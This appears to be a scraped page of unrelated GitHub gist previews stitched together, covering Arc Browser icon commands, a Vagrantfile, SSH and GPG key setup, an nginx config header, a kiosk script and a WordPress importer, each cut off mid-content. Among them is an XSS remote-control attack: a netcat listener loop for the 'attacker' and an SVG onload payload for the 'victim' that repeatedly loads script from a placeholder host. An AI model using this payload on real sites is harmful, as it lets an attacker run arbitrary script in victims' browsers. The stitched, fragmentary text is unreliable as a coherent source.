A collection of commands that change the Arc Browser icon on macOS.
Theme | Command |
---|---|
Candy Arc | defaults write company.thebrowser.Browser currentAppIconName candy |
Vagrant.configure("2") do |config| | |
config.vm.box = "ubuntu/bionic64" | |
config.vm.provider :virtualbox do |v| | |
v.gui = true | |
v.memory = 2048 | |
end | |
# Currently "ubuntu/bionic64" on VirtualBox requires `type: "virtualbox"` | |
# to make synced folder works. |
create different ssh key according the article Mac Set-Up Git
$ ssh-keygen -t rsa -C "your_email@youremail.com"
Here we create the master key. We want only Certify
capability: we use the master key only to create the subkeys, Sign - Encrypt - Authenticate
capabilities will be assigned to the subkeys.
Run the following command to start the master key generation process. Select the set your own capabilities
creation process (type 8
)
▶ gpg --full-generate-key --expert
gpg (GnuPG) 2.2.9; Copyright (C) 2018 Free Software Foundation, Inc.
function stripProperty(obj, prop) { | |
const newObj = Object.keys(obj).filter(el => el !== prop) | |
const values = newObj.map(el => [el, obj[el]]) | |
return Object.fromEntries(values) | |
} |
Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done | |
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)> |
# Basically the nginx configuration I use at konklone.com. | |
# I check it using https://www.ssllabs.com/ssltest/analyze.html?d=konklone.com | |
# | |
# To provide feedback, please tweet at @konklone or email eric@konklone.com. | |
# Comments on gists don't notify the author. | |
# | |
# Thanks to WubTheCaptain (https://wubthecaptain.eu) for his help and ciphersuites. | |
# Thanks to Ilya Grigorik (https://www.igvita.com) for constant inspiration. | |
server { |
sudo apt-get update | |
sudo apt-get -y upgrade | |
sudo apt-get install --no-install-recommends -y xserver-xorg xinit x11-xserver-utils | |
sudo apt-get install -y chromium-browser matchbox-window-manager xautomation unclutter xdotool | |
sudo tee /boot/kiosk.sh <<EOF | |
#!/bin/sh | |
xset -dpms # disable DPMS (Energy Star) features. | |
xset s off # disable screen saver | |
xset s noblank # don't blank the video device |
Implementing a basic plugin architecture shouldn't be a complicated task. The solution described here is working but you still have to import every plugin (inheriting from the base class).
This is my solution:
$ tree
<?php | |
// Turn on all error reporting so we can see if anything goes wrong | |
ini_set('display_errors', 1); | |
ini_set('display_startup_errors', 1); | |
error_reporting(-1); | |
// Relative path to your wp-config.php file (to connect to the database) | |
require '../wp-config.php'; | |
require './frontmatter.php'; // Parses YAML frontmatter - https://github.com/Modularr/YAML-FrontMatter | |
require './Parsedown.php'; // Markdown parser - https://github.com/erusev/parsedown |